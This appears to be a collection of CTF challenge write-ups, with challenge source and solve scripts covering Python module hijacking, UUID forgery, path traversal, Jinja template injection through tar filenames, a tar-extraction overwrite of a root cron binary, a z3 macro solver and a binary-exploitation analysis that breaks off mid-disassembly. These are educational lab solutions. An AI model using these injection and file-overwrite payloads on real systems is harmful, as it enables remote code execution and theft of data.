import time
import random
questions = int(input("how many questions do you want to answer? "))
for i in range(questions):
a = random.randint(0, 10)
b = random.randint(0, 10)
yourans = int(input("what is " + str(a) + ' + ' + str(b) + ' = '))
print("calculating")
totaltime = pow(2, i)
print('.')
time.sleep(totaltime / 3)
print('.')
time.sleep(totaltime / 3)
print('.')
time.sleep(totaltime / 3)
if yourans != a + b:
print("You made my little brother cry ðŸ˜")
exit(69)
f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:questions])
Above we can see a small program that asks the user to calculate answers of adding two random numbers. The user is asked to choose the number of questions he wants to answer and is awarded with the respective number of characters of the flag. However since there is an exponential delay due to pow(2,i)
, the classical approach of an automated solver would take too long. The smart thing to do here is to use the negative indexing feature of the python language. Thus entering a -1
would not require any questions to be answered and provide all characters (except the last one, which is simply a }
according to the flag format)
import subprocess
from base64 import b64decode as d
while True:
print("[1] Write to a file\n[2] Get the flag\n[3] Exit")
try:
inp = int(input("Choice: ").strip())
except:
print("Invalid input!")
exit(0)
if inp == 1:
file = input("Enter file name: ").strip()
assert file.count('.') <= 2 # Why do you need more?
assert "/proc" not in file # Why do you need to write there?
assert "/bin" not in file # Why do you need to write there?
assert "\n" not in file # Why do you need these?
assert "chall" not in file # Don't be overwriting my files!
try:
f = open(file,'w')
except:
print("Error! Maybe the file does not exist?")
f.write(input("Data: ").strip())
f.close()
print("Data written sucessfully!")
if inp == 2:
flag = subprocess.run(["cat","fake_flag.txt"],capture_output=True) # You actually thought I would give the flag?
print(flag.stdout.strip())
In the above script we are essentially given a service that takes a filename and writes our content to it. Essentially the problem here lies in us being able to overwrite python modules. As there seems to be a "forgotten" base64
module being imported.
Thus we can abuse the file write primitive to make our own base64.py
which would be imported instead of the normal base64 package. The next step is to simply abuse it for RCE
, by entering import os;print(os.system('ls'))
for its data. PS: The same could be done for the subprocess
module.
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet
app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')
@app.route('/',methods=['GET','POST'])
def main():
global username
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
if username == 'admin123':
return 'Stop trying to act like you are the admin!'
uid = uuid.uuid5(leet,username) # super secure!
return redirect(f'/{uid}')
@app.route('/<uid>')
def user_page(uid):
if uid != str(uuid.uuid5(leet,'admin123')):
return f'Welcome! No flag for you :('
else:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
Above we can see a very simple application which has 2 routes. Essentially we are given a form to complete which takes a username and computes uuid v5 with a static seed (13371337-1337-1337-1337-133713371337
)
From the docs
uuid.uuid5(namespace, name)
# Generate a UUID based on the SHA-1 hash of a namespace identifier (which is a UUID) and a name (which is a bytes object or a string that will be encoded using UTF-8).
Thus even though we are explicitly not allowed to generate a uuid using the admin123
username. We can instead resort into doing it locally as we have the seed
.
Thus we can simply now visit /3c68e6cc-15a7-59d4-823c-e7563bbb326c
and get the flag.
# CHANGE THE FLAG WHEN HANDING THIS OUT TO PLAYERS
services:
web:
build: .
ports:
- "4000:1337"
environment:
- FLAG="n00bz{f4k3_fl4g_f0r_t3st1ng}"
For this web challenge we are only provided a docker-compose
file that tells as the flag is an ENV
variable.
The application has 2 very simple functionalities
server processing
seems to have taken place. Thus not a very interesting input injection pointnature.jpeg
seems to be returned back. Thus maybe we can explore the possibility of a path traversal since we have nothing else to go by.
Success! Now we can simply go to /proc/self/environ
to view the environment variables and the flag.Here we are given the whole source code so lets have a look at it.
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import tarfile
from hashlib import sha256
import os
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def main():
global username
if request.method == "GET":
return render_template("index.html")
elif request.method == "POST":
file = request.files["file"]
if file.filename[-4:] != ".tar":
return render_template_string(
"<p> We only support tar files as of right now!</p>"
)
name = sha256(os.urandom(16)).digest().hex()
os.makedirs(f"./uploads/{name}", exist_ok=True)
file.save(f"./uploads/{name}/{name}.tar")
try:
tar_file = tarfile.TarFile(f"./uploads/{name}/{name}.tar")
tar_file.extractall(path=f"./uploads/{name}/")
return render_template_string(
f"<p>Tar file extracted! View <a href='/view/{name}'>here</a>"
)
except:
return render_template_string("<p>Failed to extract file!</p>")
@app.route("/view/<name>")
def view(name):
if not all([i in "abcdef1234567890" for i in name]):
return render_template_string("<p>Error!</p>")
# print(os.popen(f'ls ./uploads/{name}').read())
# print(name)
files = os.listdir(f"./uploads/{name}")
out = "<h1>Files</h1><br>"
files.remove(f"{name}.tar") # Remove the tar file from the list
for i in files:
out += f'<a href="/read/{name}/{i}">{i}</a>'
# except:
return render_template_string(out)
@app.route("/read/<name>/<file>")
def read(name, file):
if not all([i in "abcdef1234567890" for i in name]):
return render_template_string("<p>Error!</p>")
if ((".." in name) or (".." in file)) or (("/" in file) or "/" in name):
return render_template_string("<p>Error!</p>")
f = open(f"./uploads/{name}/{file}")
data = f.read()
f.close()
return data
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337)
This application has 3 main functions
When I saw render_template_string(out)
I immidiately checked if I was controlling out
! Even though at the start it might seem safe by using if not all([i in "abcdef1234567890" for i in name])
the check only happens in the tar name and not its extracted contents. Thus a really easy jinja ssti
payload on one of the tar file names and it is game over!
import tarfile
tar = tarfile.open("exploit.tar", "w")
tarinfo = tarfile.TarInfo("{{7*7}}")
tarinfo.size = 0
tar.addfile(tarinfo)
tar.close()
And confirmed!
Now lets list the flag in /app
import tarfile
tar = tarfile.open("exploit.tar", "w")
payload = r"{{self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}"
tarinfo = tarfile.TarInfo(payload)
tarinfo.size = 0
tar.addfile(tarinfo)
tar.close()
cat flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt
import tarfile
tar = tarfile.open("exploit.tar", "w")
payload = r"{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt').read()}}"
tarinfo = tarfile.TarInfo(payload)
tarinfo.size = 0
tar.addfile(tarinfo)
tar.close()
The vulnerability lies in this line of code
tar_file.extractall(path=f"./uploads/{name}/")
Pythons tarfile module using extractall with untrusted input is a known file write/read vulnerability. Usually it is also refered as Zip Slipping.
FROM python:3.9-slim
RUN apt-get update && \
apt-get install -y cron && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY requirements.txt server.py /app/
COPY templates/ /app/templates/
COPY REDACTED.txt /app/
# The flag file is redacted on purpose
RUN pip install --no-cache-dir -r requirements.txt
COPY uploads/ /app/uploads/
# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
CMD ["sh", "-c", "cron && python server.py"]
Now even though we have a file read primitive, it is unfortunately not yet game over. The reason being that the flag filename is supposingly REDACTED
thus unless we find a way to get the flags filename a file read is useless. However the file write is more useful upon closer inspection. We need to find a target. Which is some file that will be executed once we overwrite it, granting us RCE
. Initially my first thought would be overwriting the application itself (server.py
). But as we can see above app.run(host="0.0.0.0", port=1337)
the application is not running in debug. Thus even if the files change on disk it will not reload. After inspecting the Dockerfile
more carefully, we can see that there seems to be a cron job running every minute * * * * * root cd / && run-parts --report /etc/cron.custom
. Here we have 2 possible entry points. The cd
command and the run-parts
command. However cd
is not really a binary itself. Instead cd
is a shell builtin
. But luckily run-parts
is conviniently housed at /usr/bin/run-parts
. Hence it is the perfect target to overwrite.
To create an attacking zip we can use the below commands:
mkdir exploit && cd exploit
mkdir -p usr/bin
echo 'mkdir -p /app/uploads/abc/ && cat /app/* > /app/uploads/abc/pwned'
mkdir d1 && cd d1 # we need to create a random directory because we are running from /app thus we need to go 1 step up to meet /
tar cPf solve.tar ../usr/bin/run-parts
Or even shorter as
tar --transform='flags=r;s|run-parts|/usr/bin/run-parts|' -cPf solve.tar run-parts
Lets analyze the above command carefully here we create a solve.tar
tar file which in compressed format (cf
) and houses a file named ../usr/bin/run-parts
exactly, due to the use of -P
(Don't strip leading slashes from file names when creating archives.
). Thus when python, extracts it it will literally be extracted in /usr/bin/run-parts
. Then we upload the created tar and visit /read/abc/pwned
(after 1 minute, when the cron-job has run) and we can read the flag
We are given an excel file that we are hinted contains some macros.
We can extract them using oletools
:
olevba FlagChecker.xlsm
VBA MACRO Module1
in file: xl/vbaProject.bin - OLE stream: 'Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub FlagChecker()
Dim chars(1 To 24) As String
guess = InputBox("Enter the flag:")
If Len(guess) <> 24 Then
MsgBox "Nope"
End If
char_1 = Mid(guess, 1, 1)
char_2 = Mid(guess, 2, 1)
char_3 = Mid(guess, 3, 1)
char_4 = Mid(guess, 4, 1)
char_5 = Mid(guess, 5, 1)
char_6 = Mid(guess, 6, 1)
char_7 = Mid(guess, 7, 1)
char_8 = Mid(guess, 8, 1)
char_9 = Mid(guess, 9, 1)
char_10 = Mid(guess, 10, 1)
char_11 = Mid(guess, 11, 1)
char_12 = Mid(guess, 12, 1)
char_13 = Mid(guess, 13, 1)
char_14 = Mid(guess, 14, 1)
char_15 = Mid(guess, 15, 1)
char_16 = Mid(guess, 16, 1)
char_17 = Mid(guess, 17, 1)
char_18 = Mid(guess, 18, 1)
char_19 = Mid(guess, 19, 1)
char_20 = Mid(guess, 20, 1)
char_21 = Mid(guess, 21, 1)
char_22 = Mid(guess, 22, 1)
char_23 = Mid(guess, 23, 1)
char_24 = Mid(guess, 24, 1)
If Asc(char_1) Xor Asc(char_8) = 22 Then
If Asc(char_10) + Asc(char_24) = 176 Then
If Asc(char_9) - Asc(char_22) = -9 Then
If Asc(char_22) Xor Asc(char_6) = 23 Then
If (Asc(char_12) / 5) ^ (Asc(char_3) / 12) = 130321 Then
If char_22 = char_11 Then
If Asc(char_15) * Asc(char_8) = 14040 Then
If Asc(char_12) Xor (Asc(char_17) + 5) = 5 Then
If Asc(char_18) = Asc(char_23) Then
If Asc(char_13) Xor Asc(char_14) Xor Asc(char_2) = 73 Then
If Asc(char_14) Xor Asc(char_24) = 77 Then
If 1365 = Asc(char_22) Xor 1337 Then
If Asc(char_10) = Asc(char_7) Then
If Asc(char_23) + Asc(char_8) = 235 Then
If Asc(char_16) = Asc(char_17) + 19 Then
If Asc(char_19) = 107 Then
If Asc(char_20) + 501 = (Asc(char_1) * 5) Then
If Asc(char_21) = Asc(char_22) Then
MsgBox "you got the flag!"
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Xor |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
The vba macros seems to be
Sub FlagChecker()
Dim chars(1 To 24) As String
guess = InputBox("Enter the flag:")
If Len(guess) <> 24 Then
MsgBox "Nope"
End If
char_1 = Mid(guess, 1, 1)
char_2 = Mid(guess, 2, 1)
char_3 = Mid(guess, 3, 1)
char_4 = Mid(guess, 4, 1)
char_5 = Mid(guess, 5, 1)
char_6 = Mid(guess, 6, 1)
char_7 = Mid(guess, 7, 1)
char_8 = Mid(guess, 8, 1)
char_9 = Mid(guess, 9, 1)
char_10 = Mid(guess, 10, 1)
char_11 = Mid(guess, 11, 1)
char_12 = Mid(guess, 12, 1)
char_13 = Mid(guess, 13, 1)
char_14 = Mid(guess, 14, 1)
char_15 = Mid(guess, 15, 1)
char_16 = Mid(guess, 16, 1)
char_17 = Mid(guess, 17, 1)
char_18 = Mid(guess, 18, 1)
char_19 = Mid(guess, 19, 1)
char_20 = Mid(guess, 20, 1)
char_21 = Mid(guess, 21, 1)
char_22 = Mid(guess, 22, 1)
char_23 = Mid(guess, 23, 1)
char_24 = Mid(guess, 24, 1)
If Asc(char_1) Xor Asc(char_8) = 22 Then
If Asc(char_10) + Asc(char_24) = 176 Then
If Asc(char_9) - Asc(char_22) = -9 Then
If Asc(char_22) Xor Asc(char_6) = 23 Then
If (Asc(char_12) / 5) ^ (Asc(char_3) / 12) = 130321 Then
If char_22 = char_11 Then
If Asc(char_15) * Asc(char_8) = 14040 Then
If Asc(char_12) Xor (Asc(char_17) + 5) = 5 Then
If Asc(char_18) = Asc(char_23) Then
If Asc(char_13) Xor Asc(char_14) Xor Asc(char_2) = 73 Then
If Asc(char_14) Xor Asc(char_24) = 77 Then
If 1365 = Asc(char_22) Xor 1337 Then
If Asc(char_10) = Asc(char_7) Then
If Asc(char_23) + Asc(char_8) = 235 Then
If Asc(char_16) = Asc(char_17) + 19 Then
If Asc(char_19) = 107 Then
If Asc(char_20) + 501 = (Asc(char_1) * 5) Then
If Asc(char_21) = Asc(char_22) Then
MsgBox "you got the flag!"
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End Sub
The above seems to be checking if some conditions are satisfied supposingly forming a string which is the flag. From here on we can let z3
do its thing!
from z3 import *
solver = Solver()
flag = [BitVec(f"c{i}", 8) for i in range(24)]
flag_prefix = "n00bz{"
flag_suffix = "}"
for i, c in enumerate(flag):
if i < len(flag_prefix):
solver.add(flag[i] == ord(flag_prefix[i]))
elif i > len(flag) - len(flag_suffix) -1:
solver.add(flag[i] == ord(flag_suffix[i - len(flag) + len(flag_suffix)]))
else:
solver.add(Or(And(c >= 48, c <= 57), And(c >= 97, c <= 122), c == 95))
solver.add(flag[0] ^ flag[7] == 22)
solver.add(flag[9] + flag[23] == 176)
solver.add(flag[8] - flag[21] == -9)
solver.add(flag[21] ^ flag[5] == 23)
# solver.add((flag[11] / 5) ** (flag[2] / 12) == 130321) # We have to avoid this because of not being able to raise in powers using Z3
solver.add(flag[21] == flag[10])
solver.add(flag[14] * flag[7] == 14040)
solver.add(flag[11] ^ (flag[16] + 5) == 5)
solver.add(flag[17] == flag[22])
solver.add(flag[12] ^ flag[13] ^ flag[1] == 121)
solver.add(flag[13] ^ flag[23] == 77)
solver.add(1365 == (flag[21] ^ 1337))
solver.add(flag[9] == flag[6])
solver.add(flag[22] + flag[7] == 235)
solver.add(flag[15] == flag[16] + 19)
solver.add(flag[18] == 107)
solver.add(flag[19] + 501 == flag[0] * 5)
solver.add(flag[20] == flag[21])
if solver.check() == sat:
model = solver.model()
flag = ''.join(chr(model[c].as_long()) for c in flag)
print("Flag found:", flag)
else:
print("No solution found.")
print(solver.unsat_core())
Unfortuantly we have to make some educated guesses for flag_11, flag_2, flag_16
but the rest work.
from random import randint
import time
ans = randint(0, pow(10, 100))
start_time = int(time.time())
turns = 0
while True:
turns += 1
inp = input()
if int(time.time()) > start_time + 60:
print("you ran out of time you silly goose")
break
if "q" in inp:
print("you are no fun you silly goose")
break
if not inp.isdigit():
print("give me a number you silly goose")
continue
inp = int(inp)
if inp > ans:
print("your answer is too large you silly goose")
elif inp < ans:
print("your answer is too small you silly goose")
else:
print("congratulations you silly goose")
f = open("/flag.txt", "r")
print(f.read())
if turns > 500:
print("you have a skill issue you silly goose")
The above we can simply solve using binary search since we are given 500 attempts which is more than enough due to:
math.log(pow(10, 100),2) -> 332.19280948873626 < 500
from pwn import *
low = 0
high = 10**100
io = remote("24.199.110.35", 41199)
while True:
mid = (low + high) // 2
io.sendline(str(mid))
response = io.recvline().decode()
print(f"Guess: {mid}, Response: {response.strip()}")
if "too large" in response:
high = mid - 1
elif "too small" in response:
low = mid + 1
else:
break
io.interactive()
import random, time
def solve(eggs):
redactedscript = """
REDACTED
"""
return sum([ord(c) for c in redactedscript])
n = 1000
start = time.time()
for _ in range(10):
eggs = []
for i in range(n):
row = []
for j in range(n):
row.append(random.randint(0, 696969))
print(row[j], end=' ')
eggs.append(row)
print()
solution = solve(eggs)
print("optimal: " + str(solution) + " 🥚")
inputPath = input()
inputAns = eggs[0][0]
x = 0
y = 0
for direction in inputPath:
match direction:
case 'd':
x += 1
case 'r':
y += 1
case _:
print("🤔")
exit()
if x == n or y == n:
print("out of bounds")
exit()
inputAns += eggs[x][y]
if inputAns < solution:
print(inputAns)
print("you didn't find enough 🥚")
exit()
elif len(inputPath) < 2 * n - 2:
print("noooooooooooooooo, I'm still in Brazil")
exit()
if int(time.time()) - start > 60:
print("you ran out of time")
exit()
print("tnxs for finding all my 🥚")
f = open("/flag.txt", "r")
print(f.read())
For this one we have to find a set of moves d for down
and r for right
, which would collect a higher or equal sum of "eggs" from the random matrix, in terms of sum. To do that I used a simple backtrack exploration approach which would explore all solutions until 1 valid was found and then backtrack and send the moves for that solution.
from pwn import *
import sys
def hook(l=None):
if l:
locals().update(l)
import IPython
IPython.embed(banner1='', confirm_exit=False)
exit(0)
n = 1000
io = remote("24.199.110.35", 43298)
def solve(grid):
# Step 1: Find maximum sum path
dp = [[0 for _ in range(n)] for _ in range(n)]
dp[0][0] = grid[0][0]
for i in range(1, n):
dp[i][0] = dp[i-1][0] + grid[i][0]
dp[0][i] = dp[0][i-1] + grid[0][i]
for i in range(1, n):
for j in range(1, n):
dp[i][j] = max(dp[i-1][j], dp[i][j-1]) + grid[i][j]
# Step 2: Backtrack to find path
path = ""
i, j = n-1, n-1
while i > 0 or j > 0:
if i == 0:
path = "d" + path
j -= 1
elif j == 0:
path = "r" + path
i -= 1
elif dp[i-1][j] > dp[i][j-1]:
path = "r" + path
i -= 1
else:
path = "d" + path
j -= 1
return path
for i in range(10):
eggs = []
for __ in range(n):
row = io.recvline().decode().strip().split()
int_row = list(map(int, row))
# print(int_row)
eggs.append(int_row)
# if i == 1:
# hook(l=locals())
minimum = io.recvuntil("🥚").decode().split("optimal: ")[1].split(" 🥚")[0]
minimum = int(minimum)
print(f"Minimum required: {minimum}")
path = solve(eggs)
print(f"Path length: {len(path)}")
if len(path) >= 2*n - 2:
print("Sending path...")
print(path)
io.sendline(path)
io.recvline()
# io.interactive()
else:
print("Failed to find a valid path")
# clean up
del eggs
del path
io.interactive()
In this binary exploitation challenge we are given a lot of files:
drwxr-xr-x evangelospro evangelospro 4.0K 04/08/2024 09:38:08 thinkoutsidethebox/
.rwxr-xr-x evangelospro evangelospro 29B 04/08/2024 00:58:56 ├── flag.txt*
.rwxr-xr-x evangelospro evangelospro 231K 04/08/2024 00:58:56 ├── ld-linux-x86-64.so.2*
.rwxr-xr-x evangelospro evangelospro 2.0M 04/08/2024 00:58:56 ├── libc.so.6*
.rwxr-xr-x evangelospro evangelospro 20K 04/08/2024 00:58:56 └── tictactoe*
At the start I thought since we where given libc, the challenge would have a been somewhat hard, maybe it would need a leak etc...
Instead it proved to be much easier and instead was more of a reversing challenge. Let's decompile the binary in IDA.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+8h] [rbp-38h] BYREF
int v6; // [rsp+Ch] [rbp-34h] BYREF
int v7; // [rsp+10h] [rbp-30h] BYREF
int v8; // [rsp+14h] [rbp-2Ch] BYREF
int v9; // [rsp+18h] [rbp-28h] BYREF
int v10; // [rsp+1Ch] [rbp-24h] BYREF
char v11; // [rsp+20h] [rbp-20h] BYREF
char v12; // [rsp+24h] [rbp-1Ch] BYREF
unsigned int v13; // [rsp+28h] [rbp-18h]
_BYTE v14[9]; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 v15; // [rsp+38h] [rbp-8h]
v15 = __readfsqword(0x28u);
v13 = 3;
qmemcpy(v14, "____X____", sizeof(v14));
puts("Welcome to Tic-Tac-Toe! In order to get the flag, just win! The bot goes first!");
printBoard(v14, 3LL);
move(v14, 3, 1, &v5, &v6, 0, 1);
printBoard(v14, v13);
move(v14, v13, 2, &v7, &v8, v5, v6);
printBoard(v14, v13);
move(v14, v13, 3, &v9, &v10, v7, v8);
printBoard(v14, v13);
move(v14, v13, 4, &v11, &v12, v9, v10);
return v15 - __readfsqword(0x28u);
}
Above we can see our main function Before anything let's do some dynamic analysis and let it run once. Initially I thought it would be possible to simple somehow manage and win by playing the game normally. But after trying 2-3 times, I realized that the bot was coded correctly to at least achieve a tie and never let us win. Let's try to rename some stuff around and understand the decompilation and what we can exploit.
unsigned __int64 __fastcall move(__int64 board, unsigned int side_len, int a3, _DWORD *a4, _DWORD *a5, int a6, int a7)
{
int v12; // [rsp+40h] [rbp-60h] BYREF
int v13; // [rsp+44h] [rbp-5Ch] BYREF
int v14; // [rsp+48h] [rbp-58h] BYREF
int v15; // [rsp+4Ch] [rbp-54h] BYREF
char v16; // [rsp+50h] [rbp-50h] BYREF
char v17; // [rsp+54h] [rbp-4Ch] BYREF
char v18; // [rsp+58h] [rbp-48h] BYREF
char v19; // [rsp+5Ch] [rbp-44h] BYREF
int y; // [rsp+60h] [rbp-40h] BYREF
int x; // [rsp+64h] [rbp-3Ch] BYREF
FILE *stream; // [rsp+68h] [rbp-38h]
char s[40]; // [rsp+70h] [rbp-30h] BYREF
unsigned __int64 v24; // [rsp+98h] [rbp-8h]
v24 = __readfsqword(0x28u);
printf("Move: ");
__isoc99_scanf("%d,%d", &y, &x);
if ( side_len <= y || side_len <= x || *(board + 3LL * y + x) == 88 || *(board + 3LL * y + x) == 79 )
{
puts("Invalid move!");
exit(0);
}
*(board + 3LL * y + x) = 79;
if ( checkWin(board, side_len) )
{
printBoard(board);
printf("You won! Flag: ");
stream = fopen("flag.txt", "r");
fgets(s, 38, stream);
printf("%s", s);
exit(0);
}
printBoard(board);
if ( a3 == 1 )
{
puts("Bot turn!");
firstmove(board, y, x, &v12, &v13);
*a4 = v12;
*a5 = v13;
}
if ( a3 == 2 )
{
puts("Bot turn!");
secondmove(board, y, x, &v14, &v15, a6, a7, side_len);
*a4 = v14;
*a5 = v15;
}
if ( a3 == 3 )
{
puts("Bot turn!");
thirdmove(board, y, x, &v16, &v17, a6, a7, side_len);
}
if ( a3 == 4 )
{
puts("Bot turn!");
fourthmove(board, y, x, &v18, &v19, a6, a7, side_len);
}
return v24 - __readfsqword(0x28u);
}
The vulnerability here is an arbitrary write primitive
at *(board + 3LL * y + x) = 79;
. Even though y
and x
are checked for being less than the side_length
they are never ensured to be positive. Thus we are allowed to arbitrarily write 79
in any address before the board. Which means unfortuanetly we can't alter the state of the board itself. But maybe we can do something else. To find out what is a candidate to be overwritten, we can visualise the stack layout.
int v5; // [rsp+8h] [rbp-38h] BYREF
int v6; // [rsp+Ch] [rbp-34h] BYREF
int v7; // [rsp+10h] [rbp-30h] BYREF
int v8; // [rsp+14h] [rbp-2Ch] BYREF
int v9; // [rsp+18h] [rbp-28h] BYREF
int v10; // [rsp+1Ch] [rbp-24h] BYREF
char v11; // [rsp+20h] [rbp-20h] BYREF
char v12; // [rsp+24h] [rbp-1Ch] BYREF
unsigned int side_len; // [rsp+28h] [rbp-18h]
_BYTE board[9]; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 v15; // [rsp+38h] [rbp-8h]
The only variable that stands out as being used more than once and is a possible candidate is side_len
. Before attempting to overwrite it we must now see how this could help us win!
__int64 __fastcall checkWin(__int64 board, int side_len)
{
int i; // [rsp+10h] [rbp-10h]
int j; // [rsp+14h] [rbp-Ch]
for ( i = 0; i < side_len; ++i )
{
if ( *(board + 3LL * i + 1) == *(board + 3LL * i)
&& *(board + 3LL * i + 1) == *(board + 3LL * i + 2)
&& *(board + 3LL * i + 1) == 79 )
{
puts("Returning!");
return 1LL;
}
}
for ( j = 0; j < side_len; ++j )
{
if ( *(board + 3 + j) == *(board + j) && *(board + 3 + j) == *(board + 6 + j) && *(board + 3 + j) == 79 )
return 1LL;
}
return 0LL;
}
By checking the checkWin
function we can see that side_len
is also taken into account here. However the bots move them selves are statically defined responses. E.g firstmove
unsigned __int64 __fastcall firstmove(_BYTE *a1, int a2, int a3, _DWORD *a4, _DWORD *a5)
{
unsigned __int64 result; // rax
if ( !a2 && !a3 || !a2 && a3 == 2 )
{
a1[1] = 95;
a1[1] = 88;
*a4 = 0;
result = a5;
*a5 = 1;
}
if ( a2 == 2 && !a3 || a2 == 2 && a3 == 2 )
{
result = a1[7];
if ( result == 95 )
{
a1[7] = 88;
*a4 = 2;
result = a5;
*a5 = 1;
}
}
if ( !a2 && a3 == 1 || a2 == 1 && a3 == 2 || a2 == 2 && a3 == 1 )
{
result = a1[2];
if ( result == 95 )
{
a1[2] = 88;
*a4 = 0;
result = a5;
*a5 = 2;
}
}
if ( a2 == 1 && !a3 || a2 == 2 && !a3 )
{
result = a1[6];
if ( result == 95 )
{
a1[6] = 88;
*a4 = 2;
result = a5;
*a5 = 0;
}
}
return result;
}
There isn't any smartness going on they are all just static replies to any of our 8 initial moves. Which means 2 things will happen if we increase the side_len
side_len
to become 79. 0x0000000000001229 <+0>: endbr64
0x000000000000122d <+4>: push rbp
0x000000000000122e <+5>: mov rbp,rsp
0x0000000000001231 <+8>: sub rsp,0x40
0x0000000000001235 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000123e <+21>: mov QWORD PTR [rbp-0x8],rax
0x0000000000001242 <+25>: xor eax,eax
0x0000000000001244 <+27>: mov DWORD PTR [rbp-0x18],0x3
0x000000000000124b <+34>: mov WORD PTR [rbp-0x11],0x5f5f
0x0000000000001251 <+40>: mov BYTE PTR [rbp-0xf],0x5f
0x0000000000001255 <+44>: mov WORD PTR [rbp-0xe],0x585f
0x000000000000125b <+50>: mov BYTE PTR [rbp-0xc],0x5f
0x000000000000125f <+54>: mov WORD PTR [rbp-0xb],0x5f5f
0x0000000000001265 <+60>: mov BYTE PTR [rbp-0x9],0x5f
0x0000000000001269 <+64>: lea rax,[rip+0x1d98] # 0x3008
0x0000000000001270 <+71>: mov rdi,rax
0x0000000000001273 <+74>: call 0x10d0 <puts@plt>
0x0000000000001278 <+79>: mov edx,DWORD PTR [rbp-0x18]
0x000000000000127b <+82>: lea rax,[rbp-0x11]
0x000000000000127f <+86>: mov esi,edx
0x0000000000001281 <+88>: mov rdi,rax
0x0000000000001284 <+91>: mov eax,0x0
0x0000000000001289 <+96>: call 0x1bfb <printBoard>
0x000000000000128e <+101>: lea rcx,[rbp-0x34]
0x0000000000001292 <+105>: lea rdx,[rbp-0x38]
0x0000000000001296 <+109>: mov esi,DWORD PTR [rbp-0x18]
0x0000000000001299 <+112>: lea rax,[rbp-0x11]
0x000000000000129d <+116>: sub rsp,0x8
0x00000000000012a1 <+120>: push 0x1
0x00000000000012a3 <+122>: mov r9d,0x0
0x00000000000012a9 <+128>: mov r8,rcx
0x00000000000012ac <+131>: mov rcx,rdx
0x00000000000012af <+134>: mov edx,0x1
0x00000000000012b4 <+139>: mov rdi,rax
0x00000000000012b7 <+142>: mov eax,0x0
0x00000000000012bc <+147>: call 0x18dd <move>
0x00000000000012c1 <+152>: add rsp,0x10
0x00000000000012c5 <+156>: mov edx,DWORD PTR [rbp-0x18]
0x00000000000012c8 <+159>: lea rax,[rbp-0x11]
0x00000000000012cc <+163>: mov esi,edx
0x00000000000012ce <+165>: mov rdi,rax
0x00000000000012d1 <+168>: mov eax,0x0
0x00000000000012d6 <+173>: call 0x1bfb <printBoard>
0x00000000000012db <+178>: mov ecx,DWORD PTR [rbp-0x34]
0x00000000000012de <+181>: mov r8d,DWORD PTR [rbp-0x38]
0x00000000000012e2 <+185>: lea rdi,[rbp-0x2c]
0x00000000000012e6 <+189>: lea rdx,[rbp-0x30]
0x00000000000012ea <+193>: mov esi,DWORD PTR [rbp-0x18]
0x00000000000012ed <+196>: lea rax,[rbp-0x11]
0x00000000000012f1 <+200>: sub rsp,0x8
0x00000000000012f5 <+204>: push rcx
0x00000000000012f6 <+205>: mov r9d,r8d
0x00000000000012f9 <+208>: mov r8,rdi
0x00000000000012fc <+211>: mov rcx,rdx
0x00000000000012ff <+214>: mov edx,0x2
0x0000000000001304 <+219>: mov rdi,rax
0x0000000000001307 <+222>: mov eax,0x0
0x000000000000130c <+227>: call 0x18dd <move>
0x0000000000001311 <+232>: add rsp,0x10
0x0000000000001315 <+236>: mov edx,DWORD PTR [rbp-0x18]
0x0000000000001318 <+239>: lea rax,[rbp-0x11]
0x000000000000131c <+243>: mov esi,edx
0x000000000000131e <+245>: mov rdi,rax
0x0000000000001321 <+248>: mov eax,0x0
0x0000000000001326 <+253>: call 0x1bfb <printBoard>
0x000000000000132b <+258>: mov ecx,DWORD PTR [rbp-0x2c]
0x000000000000132e <+261>: mov r8d,DWORD PTR [rbp-0x30]
0x0000000000001332 <+265>: lea rdi,[rbp-0x24]
0x0000000000001336 <+269>: lea rdx,[rbp-0x28]
0x000000000000133a <+273>: mov esi,DWORD PTR [rbp-0x18]
0x000000000000133d <+276>: lea rax,[rbp-0x11]
0x0000000000001341 <+280>: sub rsp,0x8
0x0000000000001345 <+284>: push rcx
0x0000000000001346 <+285>: mov r9d,r8d
0x0000000000001349 <+288>: mov r8,rdi
0x000000000000134c <+291>: mov rcx,rdx
0x000000000000134f <+294>: mov edx,0x3
0x0000000000001354 <+299>: mov rdi,rax
0x0000000000001357 <+302>: mov eax,0x0
0x000000000000135c <+307>: call 0x18dd <move>
0x0000000000001361 <+312>: add rsp,0x10
0x0000000000001365 <+316>: mov edx,DWORD PTR [rbp-0x18]
